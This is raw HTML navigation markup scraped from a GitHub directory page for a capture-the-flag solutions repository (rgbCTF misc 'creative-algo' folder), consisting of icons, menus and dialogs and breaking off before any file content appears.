class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> BigB00st </span> <span>/</span> ctf-solutions <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/BigB00st/ctf-solutions/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav> </div> <turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " > <div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div > <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":252509468,"originating_url":"https://github.com/BigB00st/ctf-solutions/tree/master/rgbCTF/misc/creative-algo","user_id":null}}" data-hydro-click-hmac="ad97d435c64a26841a10dee76c76575daaa29325dbb30645a45228a5957b10fc"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/BigB00st/ctf-solutions/refs" cache-key="v0:1585845383.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="QmlnQjAwc3QvY3RmLXNvbHV0aW9ucw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>misc</span></span><span>/</span>creative-algo<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-solutions</span></span></span><span>/</span><span><span>rgbCTF</span></span><span>/</span><span><span>misc</span></span><span>/</span>creative-algo<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment 